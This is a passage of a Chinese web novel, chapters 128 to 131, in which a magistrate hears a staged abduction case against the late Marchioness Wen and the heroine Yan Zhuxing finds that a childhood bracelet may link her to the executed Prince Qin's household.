关家夫妇状告定远侯夫人温氏拐带亲女。 一石激起千层浪,这个案子很快引起了众人的热议。 京城的百姓们忍不住感慨:这个年过得可真是热闹啊。 一会儿是太后差点弄死永安王,一会儿又是定远侯夫人拐带人家女儿,啧啧啧,这些大人物们节目可真多啊。 “关万海,杨氏,你们状告定远侯夫人温如霜拐带你们的女儿,可有证据?”裴明镜紧紧盯着二人,眼神凌厉。 第128章 王爷送礼物 关万海和杨氏冷汗淋漓。 他们哪有什么证据,证据全是定远侯给的。 关万海顶着巨大的压力开口:“启禀大人,草民自然有证据。” 他将定远侯早就安排好的人证请了出来。 是当年跟着温如霜一块回青州的侯府老人刘氏。 刘氏哆哆嗦嗦地开口: “当初明月小姐走丢,夫人害怕被老侯爷和老夫人责怪,就在街上将无人照看的大小姐抱了回来。回到京城后,夫人要杀我们灭口,我就逃到了庄子上躲起来了。” “如今我听闻大小姐的生父母找上门来,心里不安得紧,害怕他们也被灭口。所以就偷偷找到了他们。” 刘氏按照定远侯教的话说了出来。 她一直低着头,不敢看裴明镜。 这些话里半真半假,想杀她灭口是真,逃走是假,不安是真,主动找关万海夫妇是假。 当初侯爷不让夫人乱杀人,毕竟随行的丫鬟仆妇实在太多。 他们都被安排到了庄子上看管着,一直被人看管着不能离开。 她都以为侯爷和夫人要忘记他们了,直到昨日,侯爷派人找到了她。 定远侯和晏逐星也被叫来和他们当面对峙。 晏逐星实话实说,称自己当时昏昏沉沉,像是被喂了药,如今什么都不记得了。 定远侯则当场演了一出震惊不已的戏码。 “怪不得关家夫妇找上门来第二日,她就服毒身亡,原来是畏罪自尽!” “这个毒妇,怎能做出这样伤天害理的事情。几个孩儿落得如今下场,定是报应啊,报应!!!” 他捂脸痛哭,当堂认下了温如霜的罪证。 围观的百姓听到这话,下意识地就想起了定远侯府最近接二连三死人的事情,忍不住点了点头。 这看起来还真像是报应啊。 温如珲急急赶来,听到这话厉声否认:“不可能!如霜不是这样的人。当初她把孩子带回家,我们都知道这孩子是走丢的!” “这是她当初写的遗书,请大人过目。”定远侯将温如霜亲笔写下的遗书交了上去。 “当时我还在想,明修和明月出事,怎能怪到她头上。如今细细想来,那些都是借口,她真正的罪名是偷了别人的孩子。” 定远侯露出一副恍然大悟的表情。 裴明镜将温如霜平日里的书信找来对照,确认那确实是温如霜所写。 “就算是如霜亲笔写的又如何,谁知道是不是你逼着她写的!”温如珲怒吼。 他没有官位在身,说话都不如定远侯硬气。 他急得直跺脚,大哥怎么还不到。 “温如珲,我知道你与温氏感情甚笃,但她做出了这样令家族蒙羞的事情,你难道不该与她划清界限吗?难不成你要让天下人以为,你们温家都是拐卖孩子的人牙子吗?”定远侯露出一副痛心疾首的表情。 “你少胡说八道了!”温如珲听到这话,眼睛都气红了,挥着拳头就要去揍定远侯。 两旁的衙役赶忙拦住他。 见温如珲被制住,定远侯戏瘾大发,演得愈发投入,自己都要信了。 他抹着眼泪哽咽道:“枉我自诩耳清目明,结果枕边人是这样的毒妇我都没有发现,我惭愧啊。” 说完他又看向了晏逐星,一脸惭愧:“是侯府对不住你。温氏当初与我说你是无家可归的孩子,我便信了。是我识人不清。” 没等晏逐星回应,他又看向了关万海夫妇。 “本侯知道你们这些年找孩子不容易,我会尽力补偿你们。给你们一千两银子,你们可愿接受本侯的歉意?” 关万海夫妇还没说话,围观的百姓倒先吸了一口凉气。 拥有一千两,对于他们普通人家来说,可以说是一辈子不愁吃穿了。 “这银子,我们不要。我们只要我们的女儿!”关万海夫妇可不敢拿这烫手的银子。 他们今日敢收下,明日定远侯就能找机会从他们身上翻倍要回去。 “星儿,虽然你是被温氏拐带回家的,但我养育了你十几年,早就将你当做亲生女儿一样看待了。你若愿意原谅我们,你今后还是可以继续留在侯府的。”定远侯又一次看向晏逐星。 “不了,待在侯府,只会让我想起夫人将我从母亲身边带走的痛苦。”晏逐星看着定远侯这虚伪的表情,差点演不下去。 她捂着脸,低声啜泣了起来。 “我不想留在侯府了,您让我离开吧。” 这个时候搬出定远侯府,影响不大。 反正该死的人也死得差不多了。 侯府里还有阮寄薇给她当内应,到时候等孩子“出生”,定远侯也差不多就可以去死了。 “你这孩子说的什么话。哪怕你离开了侯府,你也永远是我定远侯的女儿,是定远侯府名正言顺的大小姐。”定远侯激动地嚷嚷了起来。 “砰” 堂上的裴明镜敲了一下惊堂木,打断了定远侯的“煽情”发言。 “如今证据并未确凿,侯爷无需这般心急。”裴明镜的声音让定远侯冷静了不少。 温如珲一听这话就激动了起来。 “没错,证据没有确凿,凭什么说如霜是拐子?!” 裴明镜也没有搭理他,而是指着遗书上那段【明月吾女,下落不明,生死难测。每每思及,心如刀绞,夜不能寐。】 他紧紧盯着定远侯道:“不是说二小姐身亡了么?为何夫人却说是下落不明。” 定远侯一僵。 这封遗书当初是专门写给温家人看的,自然不能真的把晏明月写死了。 他脑子一转叹了一口气,抹起了眼泪:“大人能不能借一步说话。此事实是有难言之隐。” “公堂之上,直言便是。”裴明镜不为所动。 “当时小女去往青州,听闻附近有神医,私底下想替母求医。不曾想却再也没有回来……”定远侯说着说着哽咽了。 “她一个弱女子孤身在外,失踪后下落不明,十之八九是没命了啊。为了她的名声,我们只得当她死了。” 说完还看了温如珲一眼:“小舅兄,你说是吧。” 事情还牵扯了温韫,不宜说实话,温如珲只得捏着鼻子将这个说法认下。 裴明镜又问了几个问题找不出什么答案。 于是再次敲响惊堂木,宣布了结果。 “本案虽然有人证,但仅凭口供难以定案,如今并无物证佐证,不便立即裁决。本官已将此案记录在案,会派专人仔细调查取证。一旦查获确凿证据,会重新审理此案。” 裴明镜总觉得定远侯认下夫人的罪名太快。 通常情况下,这种勋贵之家最怕家丑外扬,应该捂住此事才对。 可他却偏偏将罪责往过世了的夫人身上揽。 另外,关家夫妇的姿态也很耐人寻味。 而且,这个刘氏出现的时间也太过蹊跷。 此案疑点重重,自然不能当堂结案。 定远侯还想说什么,裴明镜就宣布退堂了。 他只得作罢。 “晏鸿升,你给我等着。我大哥最迟明日就到京城了。”温如珲放下狠话,气得拂袖离去。 定远侯心里有些慌,但事情已经做到这个份上,就是和温家彻底翻脸,如今也没有回头箭了。 他必须让“拐带孩子”的罪名死死定在温如霜身上。 “星儿,你与父亲一同回府吧。”定远侯温和地看向晏逐星。 而晏逐星摇了摇头。 她既然当堂说了不回侯府,自然就不会再回去。 更何况,她在外边呆着,外人就会更加坚信她是被温如霜拐带的,所以才会放着好端端的侯府大小姐不做,去当商户之女。 “侯爷,我不回侯府了。我打算先去见见我的爹娘,晚些时候派人去玉澜院收拾我的东西。” 定远侯再劝,她再推辞,来回两趟,定远侯才露出了一副惋惜的表情。 “星儿,我说过很多次了,不管你住不住在侯府,侯府永远都是你的家,随时都欢迎你回来。我也永远是你的父亲。你不要叫我侯爷了,太让我伤心了。” “是,星儿会永远记得父亲的恩情。您对我,那是极好的。与温如霜不同。”晏逐星诚恳地点了点头。 听到这话,定远侯心里舒坦多了。 他嘱咐了晏逐星几句,而后便先行离开了。 晏逐星离开京兆府,关万海夫妇正在她马车边上等着。 她正准备跟他们说事情,就看到了照夜。 照夜上前一步,给了她一个檀木小盒子。 见晏逐星一脸疑惑,照夜解释:“王爷得知大小姐离开侯府,特意命属下送来此物。” 晏逐星好奇地打开了小盒子,发现里边是一串钥匙和一张地契。 打开一看,竟然是崇文门外大街枣木胡同的一套三进宅院,上边写的是她的名字。 晏逐星愣住了。 永安王未免考虑得太过周全。 她的亲生父母只是商户,若是住了三进以上的宅院属于“僭越”,轻则罚没房产,重则治罪。 而她的户籍还在定远侯府,按理来说这个宅院是落不到她的名下的,但如今永安王却办到了,想必为此花了不少心思。 也不知道明日会不会有言官状告他不守律法,皇上会不会又罚他俸禄? 想到那日谢翊宁在长乐宫耍无赖的场景,晏逐星忍不住笑出了声。 照夜有些摸不着头脑。 晏大小姐收到王爷送的礼物,高兴疯了? 晏逐星将盒子交给了一旁的衔蝉,笑道:“王爷的好意我收下了,多谢。” 报答不报答的话,现在说了也显得苍白无力。 毕竟她只是一个“商户之女”,无权无势,而且永安王什么都不缺。 倒不如等之后天气热起来,她给王府多送些冰去。 待到日后她跟关家合作的流光缎大卖,有了银钱,再将这座宅邸买下来,把钱还给永安王。 听她这么说,照夜放心多了。 他生怕晏大小姐跟他拉拉扯扯,说什么使不得太贵重,这样利落大方地收下,倒是让他松了一口气。 一旁的关万海夫妇只听到了照夜说王爷让他给晏逐星送东西,但具体送的什么,他们看不见,也不敢看。 心里只觉得晏逐星实在厉害,竟然让王爷都对她青睐有加。 关万海心底那点关于“利润要分出去五成”的小小懊悔顿时烟消云散。 “大小姐,我们接下来该做什么?”照夜一走,关万海便凑了上来。 定远侯只让他们来状告温如霜拐带亲生女儿,别的什么都没说啊。 晏逐星略一思索,开口道:“你们先随我安顿下来,住上几日,之后的事情我另有安排。” 她打算这几天让关万海给张小乙培训一下。 卖冰和卖布,虽然不是同一个东西,但本质上都是做生意。 让关万海教教张小乙,想必日后他做起生意来会更得心应手。 “是。”关万海夫妇不敢违背她的命令,乖乖跟着她走了。 远处的裴明镜望着离去的“一家三口”,心里的违和感越来越重。 这一家子,无论是长相上,还是相处的感觉,哪哪都看起来不像一家人。 晏逐星当真是他们走丢十几年的女儿吗? 第129章 在哪里见过 得知晏逐星搬离侯府,阮寄薇心里有些惴惴不安,她悄悄命丫鬟联系上了九栀,询问之后该怎么办。 “好好养胎,等到孩子该出生时,小姐会告诉你的。” 九栀只回了这么一句话,就带着丫鬟们把玉澜院的东西给搬空了。 临走前,双鲤让九栀等等,她有事要办。 九栀有些疑惑,还有什么事。 不一会儿,就看到双鲤拿着五百两银票回来了。 “哪来的钱?莫不是小姐藏的私房钱?” 她有些吃味。 怎么这么重要的事大小姐不告诉她,只让双鲤去办。 “不,这是侯爷给的。”双鲤一脸得意。 “啊?”九栀震惊了。 定远侯每次给银子都像是在割肉,怎么会一下给了双鲤那么多银票。 “嘿嘿,这你就不懂了吧,侯爷爱面子得很。”双鲤露出狡黠的笑。 她先前特意去和侯爷诉苦,说小姐在外边多么可怜多么惨,亲生父母做生意赔了钱,如今拿不出银子来,小姐搬出侯府后,恐怕吃不好也穿不好。 届时小姐还怎么出门与京城的千金小姐们交际。 定远侯二话不说立刻就给了她银票,还嘱咐她: “让星儿在外边好好照顾自己,莫要亏待了自己。遇到难事,只管差人回侯府来寻本侯。” 双鲤活灵活现地模仿着定远侯的语气,直接把九栀给逗笑了。 “干得漂亮,小姐若是知道,也要夸你能干了!” 两人一块将玉澜院的东西都带走,除了侯府的家生子,他们将剩下愿意跟随晏逐星的丫鬟小厮也带走了。 不得不说,永安王真的很贴心。 宅子打理得十分干净,晏逐星直接将行李搬来就可以入住了。 整个宅院只有她一个主人。 躺在床上,晏逐星只觉得痛快极了,她想做什么就做什么,不需要担心有人往她身边安插探子,也不需要去勾心斗角算计这个算计那个。 翌日醒来,晏逐星收到了第一份拜帖。 她原以为第一个会来的是永安王,没想到收到的竟然是裴芜的拜帖。 裴芜与她交情不错,为人单纯讲义气,她自然不会拒绝与她往来,因而便应下了这场拜访。 只是她没想到,这一次来的不止裴芜,还有裴明镜。 裴芜看着晏逐星有些尴尬。 昨日得知晏逐星搬出侯府后,她便想着来探望一二,没想到大堂兄知道后,非要跟着一块来。 她拒绝不了大堂兄,只得将他一块捎来了。 “不请自来有些冒昧,还望晏大小姐不要见怪。小小薄礼,恭贺大小姐乔迁新居。”裴明镜将贺礼送了上来。 晏逐星原本想说冒昧那你就赶紧走吧,但看到裴明镜送来的贺礼又将那些话咽了回去。 裴明镜送的是一对成色极好的霁蓝釉梅瓶,里边插了两株鲜艳欲滴的红梅。 除此之外,他还送了两大筐上好的银丝炭,炭条整齐,隐约带着一丝松香。 侯府十日领一次银丝炭,昨日双鲤他们从侯府带来的剩下银丝炭只够用两日了。 这个时候再重新去买,不仅不好买,价格还要比平日里贵上不少。 裴明镜的这份礼物,送得倒是及时。 秉承着伸手不打送礼人,来了带礼物就是好客人的原则。 晏逐星还是给了他一个笑脸。 “哪里的话,裴大人请坐。” 裴芜见她笑了,这才亲热地上前挽住了她的胳膊,介绍道:“这花是我摘的。我记得你先前的院子里也有梅花,我怕你不习惯,特意从国公府摘了两株新鲜的一块送来。” “多谢。”晏逐星笑着让下人将花瓶摆好,没有再搭理裴明镜。 她心知肚明,裴明镜不可能单纯来恭贺她乔迁新居。 但敌不动我不动。 他不问,她装傻。 他一问,她惊讶。 他叹气,她摇头。 总而言之,主打的就是一个敷衍。 “这院子真漂亮。”裴芜感慨。 “我也觉得不错。”晏逐星点头。 “若之后你不嫌弃,我可要经常来找你玩了。”裴芜羡慕极了。 一个人住那么大的院子,也太幸福了。 晏逐星笑道:“我怎会嫌弃你。我在京中并无闺中好友,你能常来看我,我心里欢喜极了。” 听到这话,裴芜看她的眼神带了一丝心疼。 真可怜。 小小年纪就被定远侯夫人拐走,后来定远侯夫人找到亲生女儿又将她关在家中不许她交友,每次宴会上都见不着她的面,怪不得没有好友。 “无妨,日后我会当你的好友。”裴芜郑重承诺。 见她们聊得火热,将他晾在一旁,裴明镜也不恼,他四下扫视了一圈,心中对晏逐星和永安王的关系愈发感到疑惑。 他来之前已经打听过了,这个宅邸并非关万海买下的,而是永安王赠予晏逐星的。 两人如今究竟是两情相悦,还是郎有情妾无意。 他忍不住开口道:“大小姐,听说这宅子是永安王送你的?” “啊?是吗?裴大人听谁说的呀?”晏逐星装傻。 “大堂兄,这话可不能瞎说啊。”裴芜急了,远远地飞了一个白眼给兄长。 这事关乎姑娘家的名誉,怎么能胡说呢。 “昨日偶遇了户部清吏司的祁大人,他顺口提了一句。”裴明镜不疾不徐地回答。 “这也能顺口提么?若非裴大人刻意打听,祁大人又怎会透露永安王的私事?窥探亲王行踪,可是重罪。”晏逐星叹了一口气。 裴明镜脸色骤然一僵。 他既不能承认是刻意打听永安王的私事,那是窥探亲王行踪的重罪。 也不能说是为了打听晏逐星的私事,那就成了窥探未嫁女行止,同样有损清誉,更显居心叵测。 他意识到,晏逐星远比他想象的要更聪慧,也更难缠。 “本官去户部是为了查当年温氏给你上户籍的事情,正巧查出了你名下有一房产,我便询问了祁大人,这才知晓了永安王给你送宅子的事。”他不动声色地解释。 “裴大人说错了,宅子并非送,而是借给我的。”晏逐星浅浅一笑,命人将自己写的借据拿了上来。 “等到我有银子了,这宅子的钱,我会一次性付清买下。” “原来如此。”裴明镜扫了一眼没有继续追问宅院的事情,而是将话题转移到了关万海夫妇身上。 “为何不见令尊令堂?” “他们乃是行商之人,自然是去忙生意上的事情了。”晏逐星回答得滴水不漏。 “晏大小姐当真觉得他们是你的亲生父母?”裴明镜又问。 “侯爷当面让我们滴血认亲了,这还能有假?”晏逐星反问。 “滴血认亲做不得数。”裴明镜没想到他们确定亲子关系竟然是用这个法子。 这未免也太草率了些。 他将自己过往查案时发现的结论说了出来。 “世人皆道滴血认亲乃铁证,殊不知此法谬误百出。” “本官办理过的案子里,亲子之血不相融者有之,毫无瓜葛之血相融者亦有之。此等粗陋之法,岂能定人伦、断亲缘?” 晏逐星没想到他连这个也知道。 她心念一动,让双鲤将自己从李氏那里要来的镯子拿了过来。 “这是我小时候被温如霜抱走时手上戴着的镯子,不知裴大人识得此物晓来历?” 裴明镜没想到会有意外收获,连忙接过来仔细查探。 这个镯子乃是赤金打造,嵌着琉璃,精妙绝伦,一看就很贵重。 关家一个小小的布匹商贩,怎会舍得给女儿打如此贵重的镯子,此事定有蹊跷。 裴明镜说出了自己的疑问。 晏逐星便将关家夫妇上回糊弄她的话说了出来。 裴明镜追问:“他们找的匠人姓甚名谁?本官派人打听便知。” “据说那位匠人早已离开通州,如今不知去了何处。”晏逐星继续忽悠。 什么不知去了何处,恐怕是根本没有这个人吧。 这个东西,绝对不是关家夫妇能拿出来的。 他既然能猜到这点,没道理晏逐星猜不出来,毕竟她很聪明。 难道这就是当局者迷? 她太过渴望亲生父母,所以宁可错认关家夫妇? 裴明镜心底涌出一股说不清道不明的滋味。 他沉思片刻后,开口道:“若晏大小姐不介意,可否容许本官将此物带走,或许京中一些年长的夫人能识得此物出自哪位名家之手。” 晏逐星犹豫了一会儿,还是拒绝了:“不如裴大人将它画下,拿着画像去问吧。此物贵重,我不想让它离开我身边。” 与其让裴明镜去打听,还不如求永安王帮忙呢。 听她这么说,裴明镜也没有强求,而是直接要了笔墨纸砚与颜料,当场描下了镯子的样式。 这时,一旁眉头紧锁的裴芜忽然“啊”了一声。 两人抬头望向了她。 裴芜吓了一跳,摆摆手道:“我就是感觉这个镯子的样式有些眼熟,好像隐约见过类似的。” 裴明镜和晏逐星异口同声地询问:“你在哪里见过?” 第130章 镯子与身世 裴芜被两人这么盯着,紧张得都结巴了。 “我、我也不记得了。” “那你仔细想想,到底在什么地方见过。”裴明镜忍不住催促。 “大堂兄,你别催我啊,你越催我,我脑子就越一片空白。”裴芜急得直跺脚。 “还有,你也别看我了,你看我我更想不起来了。” “你转过头去,不许看着她。”晏逐星沉着脸扭头呵斥裴明镜。 这话一出,裴明镜和裴芜都瞪大了眼睛看着她。 裴明镜:? 她是在说他么? 裴芜:! 还是头一回看到有人敢用这样命令的语气对大堂兄。 晏逐星也意识到自己的语气好像不太适合,但话已出口,断然没有再改的可能。 她只得缓和了几分语气:“裴大人,你老盯着裴芜,她紧张,就更想不起来了。不如你先回避回避?” 裴芜连忙点头:“对!大堂兄,你回避吧,不然我真想不起来了。” 两人都这么说了,裴明镜只得转过身去,继续画那还没画完的镯子。 “没事,不着急,你慢慢想。”晏逐星命衔蝉将刚刚做好的山楂糕端了上来,配上一壶六安瓜片,让裴芜就着热茶与点心,边吃边想。 裴芜把玩着晏逐星小时候戴着的那个手镯,仔细看了又看。 终于,在一碟子山楂糕吃完的时候,她猛地一拍脑袋。 “我想起来了!” 裴明镜猛地转过身来,刚想开口问她想起什么了,就被晏逐星警告地瞪了一眼。 似乎是提醒他不许说话,免得打断了裴芜的思绪。 裴明镜:…… 他感觉他现在连呼吸都是错的。 两人没说话,静静等着裴芜的下一句话。 “我小时候,有一个类似的镯子。”裴芜一句话惊呆了在场的所有人。 “只不过上边嵌着的不是蓝色的琉璃,而是红色的玛瑙。” 晏逐星怔怔地看着手里的镯子。 难道,她是裴家的孩子? 裴芜说完也想到了这个可能。 她怔怔地看着晏逐星:“难不成,你是我娘的孩子?我们是亲姐妹?” “不可能。”裴明镜断然否认。 “二婶只生了你和光岳,没有别的孩子。” 裴芜出生时他已经六岁,记得很多事情了。 “那会不会是我出生时,有人将我与星儿调换了,星儿才是我娘的孩子?”裴芜联想到了定远侯府真假千金一事,脑洞大开。 裴明镜无奈地看着她:“你当卫国公府的护卫是死的吗?二婶生产时,祖母和我娘都在外边候着,你爹也在候着,里里外外几十个人,怎么调包?” 裴芜尴尬地摸了摸鼻子:“大堂兄言之有理。” 但她坐不住了,赶忙起身要走。 “不行不行,我得回去问问我娘到底怎么一回事。这个镯子为何跟我的那么像。” 晏逐星也等不及,她跟着站了起来。 “可否让我随你同去国公府,一块问问二夫人?” “走吧。”裴芜二话不说拉着她回家。 裴明镜自然也跟着一块回家了,他对此事也很好奇。 窦淑容得知裴明镜和裴芜领着晏逐星回了国公府,差点没气死。 之前她才放过狠话,有晏逐星的地方没有她,如今晏逐星竟然直接登门入室了。 虽然她去的是二房的院子,但来了国公府,却不先来拜会她这个国公夫人,实属不知礼数。 “她竟然还敢来?!” 窦淑容咬牙切齿,厉声下令。 “来人,将她给我逐出府去,谁再敢放她进来,就是和我过不去。” 她的心腹嬷嬷容氏赶忙出来劝阻:“世子爷将人领回来说是要查案,若您将人撵出去,恐怕会让世子与您离心啊。” “难道要让我咽下这口气吗?凭什么啊。”窦淑容很久没有这么窝火了。 “夫人,不如咱们去一趟大长公主府吧。听闻福安郡主受了伤,世子爷忙于查案没空探望,咱们走一趟正好。”容氏小心翼翼地提醒。 窦淑容听到这话一愣,旋即又觉得这主意确实不错。 福安郡主和朝华大长公主显然都看上了她的儿子,若他们想让这桩婚事能成,自然会除掉碍眼的人。 到时候根本不需要她出手处理晏逐星,公主府那边自然会解决。 “不错,速速命人递拜帖,我要去探望福安郡主。”窦淑容立刻吩咐了下去。 * 裴二夫人没想到裴明镜竟然会领着晏逐星来找她。 她心下暗道糟糕。 大嫂若是知道了,免不了要从早上念叨她到天黑了。 “娘,你可还记得我小时候有一个类似的镯子?”裴芜憋不住话,直接把来意说了。 晏逐星将镯子递上。 裴二夫人瞧见镯子有些怔神,而后脸色变得很难看。 她看着晏逐星的表情多了一抹惊恐,而后扭头看向女儿:“你记错了吧,你小时候没有这样的镯子。” “不可能。”裴芜反驳,“我明明记得我有一个类似的,上边嵌着一块红玛瑙!” 裴明镜看出了二夫人的不自在,开口道:“二婶,此物关乎一件很重要的案子,若您知晓实情,万不可隐瞒。” 裴明镜的话比裴芜和晏逐星加起来都管用。 裴二夫人听到他这么说,挣扎了一会儿,最终还是命人去将裴芜的镯子找了出来。 两个镯子摆在一起,看着确实很相似。 “娘,你看,明明就很像,你刚刚为什么说我记错了。”裴芜嘟囔道。 裴二夫人轻轻掐了她的胳膊一把。 “傻孩子,你以为这是什么可以胡乱嚷嚷的事情吗?” 她的一句话,勾起了在场所有人的好奇心。 “娘,您就别卖关子了,您快说吧。”裴芜急忙催促。 裴二夫人叹了一口气,将下人们都遣了出去,方才开口:“你们拿来的这个镯子,我不能确定到底是不是当年的那个镯子。” 几人凝神屏息,等着她继续说下去。 “这个镯子和秦王府小郡主手上戴着的有些相似。”裴二夫人不敢把话说得太满。 毕竟秦王是不可提起的禁忌。 “秦王?”裴明镜眉头皱了起来。 “嗯。那回你祖父寿辰,秦王妃带着小郡主来贺寿,她手上戴着的镯子和这个很像。阿芜瞧见后便吵着闹着想要,你二叔就找人打了个类似的。但孔雀蓝的琉璃不好找,便用红玛瑙代替了。” 裴二夫人将裴芜镯子的来历解释了清楚。 裴明镜看向了晏逐星。 秦王当年谋逆,意图杀害先皇篡位,被判了个满门抄斩。 据说秦王妃带着年纪最小的小郡主逃出了京城,至今下落不明。 他在心里默默推算了一下小郡主的年纪,似乎和晏逐星差不多。 晏逐星不知道秦王的事情,她上辈子对这个人一无所知。 她看裴二夫人和裴明镜变幻莫测的表情,忍不住道:“秦王是谁?” 裴二夫人见裴明镜表情有变化,知道他应该也猜到了那个可能。 若晏逐星当初被温如霜从青州拐带回来,那她大概率就是那位被秦王妃带走的小郡主。 若真是如此,那麻烦可就大了。 秦王犯的可是谋朝篡位的大罪。 “秦王是先帝的长子,也是当今圣上的兄长。”裴明镜声音有些艰涩。 “当年先帝册立皇上为太子,命他继承大统。秦王抗旨不遵,竟联合王妃母家起兵逼宫,欲趁先帝病危之际夺位篡权。但先帝早有防备,太子护驾,手刃秦王。唯有秦王妃带着小郡主逃走,阖府上下尽诛。” 裴芜听完惊呼出声,裴二夫人赶忙捂住她的嘴,把她扯了下去。 “你们聊,我先和阿芜去看看新绣的帕子。” 晏逐星呆呆地站在原地。 所以,她是秦王的女儿? 若真是如此,那么当今圣上就是她的杀父仇人。 而她也是乱臣贼子之后。 她要怎么办? 见她露出了茫然的神色,裴明镜心头像被针轻轻扎了一下。 若晏逐星真是秦王的女儿,恐怕她再无生路。 毕竟秦王当年犯的,是株连九族的谋逆大罪。 他第一次生出了不想继续调查的念头。 不如就认下这个结果,让晏逐星继续当关万海夫妇的女儿。 “你别想太多,二婶也只说了,只是镯子很像罢了。可世上首饰千千万,谁规定只有秦王府才能有这样的镯子呢。”裴明镜忍不住开口安慰她。 “是啊,我爹娘说这镯子是他们找人打的。怎么会和秦王府扯上关系。说不定是那个匠人之前给小郡主打过首饰呢。”晏逐星干巴巴地笑了。 “嗯,你说得没错,很可能就是这样。如今二婶和阿芜有事要忙,不如我先命人送你回府吧?”裴明镜见她神思恍惚,语气也不自觉地温柔了几分。 “多谢裴大人。”晏逐星捏紧了手中的镯子,点了点头。 她这一次来,是坐了裴芜的马车,只能让他们送她回去。 晏逐星带着镯子,恍惚地上了马车。 她将手里的镯子翻来覆去地看了好几遍,不停地给自己找借口: 或许当初秦王妃带着女儿逃离京城时,身上盘缠不足,所以将镯子当掉被她亲生父母买走了呢? 又或者是她的亲生父母在不知情的情况下,帮了秦王妃母女,所以他们将镯子赠予爹娘聊表谢意呢? 晏逐星的脑子乱糟糟的,一路上涌现了万千的想法。 “吁——” 马车停下,到家了。 晏逐星回神。 她看着高悬的门匾,忍不住想: 若她真是秦王的女儿,那她现在住在谢翊宁送她的宅院里,算什么? 她没有说话,回到家后就躺回了床上一直盯着手里的镯子看,直到天黑,都没有起来用膳。 双鲤几人顿时忧心忡忡。 小姐去了一趟卫国公府回来,整个人就蔫巴巴的,竟然连饭都不吃了。 要知道,往常无论发生什么事情,就算天塌下来了,小姐都不会让自己饿肚子的。 小姐说过,天大地大吃饭最大。 饭要一口一口吃,事情要一点一点做,不能急,不能躁。 可如今,她却连晚饭都不吃了。 可见事情有多么严重。 几个大丫鬟商量了一会儿,决定让衔蝉用好吃的诱惑她。 “小姐,我今日煨了冬笋,鲜甜得很,您要不要尝一尝呀?”衔蝉端着汤入内,轻声询问。 “不,衔蝉,你让一让。”躺在床上的晏逐星猛地拿着镯子坐了起来。 她把玩了镯子一日,没看出什么问题来。 直到刚刚烛光摇曳,她无意间将镯心迎向光,竟然在镂空缠枝的暗影里,发现了一枚印迹。 第131章 那就娶她吧 衔蝉不明所以,侧过身子让开了。 晏逐星要来纸笔,将那个印迹描了下来。 描完之后,她愣在了原地。 那是一个纂体的“秦”字。 看来这个东西,出自秦王府无疑了。 晏逐星犹如被人当头泼了一盆冷水。 好不容易定远侯府的仇人快死光了,她以为她可以过上自由自在的日子了。 如今她成了罪臣之女,岂不是又要过上提心吊胆的日子? “小姐?”衔蝉见她愣在原地,轻轻唤了她一声。 “没事,吃饭吧。”晏逐星深吸一口气,将心里的烦恼压下。 她可以让自己难过,可以让自己失落,但绝对不能太久。 今日已经懈怠了那么久,是时候该振作起来了。 吃饱饭了,再想下一步该怎么办。 “是。奴婢这就摆饭。” 见她愿意吃饭,衔蝉几人都高兴了起来。 * 卫国公府。 裴明镜嘱咐裴二夫人和裴芜不要将镯子的来历说出去,免得惹火烧身。 “明镜你放心吧,二婶不是那种会乱说话的人。”裴二夫人连忙保证。 秦王当年犯的可是谋逆的重罪,谁会想跟他扯上关系啊,她避得远远的都来不及。 裴芜也点了点头。 见裴明镜要离开,她还是没忍住追上去问道:“大堂兄,若是星儿真的是秦王的女儿……” “没有证据的事,不可胡言。”裴明镜打断了她的话。 “她是关家夫妇的女儿,此事定远侯已经证实。而镯子是否出自秦王府,尚未证实。” 裴芜听到这话替晏逐星松了一口气。 “星儿还没过几天好日子,要是又变成秦王的女儿,那可真是太倒霉了。” “这话你烂在肚子里莫要再提了。”裴明镜严肃地看着堂妹。 “嗯嗯,我保证不会再说了!”裴芜忙不迭点头,然后举手发誓。 裴明镜转身离开二房的院落,打算继续去彻查此事,结果就被母亲身边的丫鬟叫了过去。 “明镜,福安郡主受了伤,你等会儿随母亲一块去探望她可好?”窦淑容努力压下心头的不满,挤出了笑脸。 “母亲,我很忙,没空。”裴明镜直接拒绝了。 “你有空去找晏逐星,又把那野丫头带回国公府,这就是你所谓的忙?”窦淑容一秒破功,直接怒吼出声。 “母亲,我带她回府也只是为了查案。”裴明镜深吸一口气,试图跟她解释。 他不明白,为什么母亲一遇上晏逐星的事,就跟变了一个人似的。 “您为什么非要针对她不可呢?” “我都说了,我与她并无男女私情。您一定要闹得我和她有点什么您才甘心吗?” 窦淑容还要说什么,就被一旁的嬷嬷猛地扯了一下衣袖。 她的理智勉强回笼。 她将喉间的怒火咽了回去:“好,母亲不逼你。” 缓了口气,她的声音变得温和了不少。 “可福安郡主那头,你总得给句明白话。若点头,按礼就该互换庚帖、合八字了。” 听到母亲提起婚事,裴明镜抿唇不语。 他脑袋朦朦胧胧闪过一个影子,快得让他有些抓不住。 他下意识地想要再拖一阵子。 “福安郡主很好,可我……” 他的话还没说完,就被窦淑容打断了:“好就行。那待会儿母亲去探望她,就与大长公主将此事定下吧。” 裴明镜原本想说的话此刻全都化作了沉默。 片刻后,他轻轻点了点头。 “好。那就定福安郡主吧。” 反正这些年明里暗里母亲替他悄悄相看了许多回,他都没什么感觉,只要门当户对,对方识大体能操持好国公府即可。 反倒是母亲挑来挑去总能挑出不满来。 如今福安郡主能让她满意,那就这样吧。 省得日后再折腾了。 “好。那你忙去吧。”有了他的准信,窦淑容先前的怒火顿时烟消云散。 儿子有了婚约,若晏逐星再恬不知耻地缠上来,到时候她可就师出有名,可以狠狠教训她了。 不对,大长公主和福安郡主也不会放过她的。 窦淑容满脸笑意,总算有空关心儿子今夜想吃什么了。 可裴明镜已经没有了用膳的心思。 “孩儿还有公务在身,先走一步。婚事……但凭母亲做主就是。”他袍袖一甩,径直离去。 “世子爷这还是不高兴啊。”一旁的容氏叹了一口气。 “那又如何,我是他亲娘,他还能恨我一辈子不成。等他日后有了孩子,就能明白我的苦心了。”窦淑容依旧没把这点小事放在心上。 她只想着马上就可以定下儿子的婚事了,很快,她就能抱上孙子了。 她梳妆打扮,兴高采烈地带着礼物去了朝华大长公主府。 “郡主这手怎么伤的,哟,看起来可真严重啊,如今可好些了?”窦淑容一脸关切地看着福安郡主。 听她提起手上的伤,福安郡主和朝华大长公主脸上都闪过了一抹愤恨。 但很快,母女二人都恢复如常。 那抹恨意快得让窦淑容都没察觉。 福安郡主柔柔道:“多谢夫人关心,是那日在宫中不小心被猫挠了一下。现下已经好多了。” 窦淑容一惊,愤愤道:“哟,挠人的畜生可不能留着。若是挠了人,焉知日后不会咬人,到时候麻烦可就大了。” 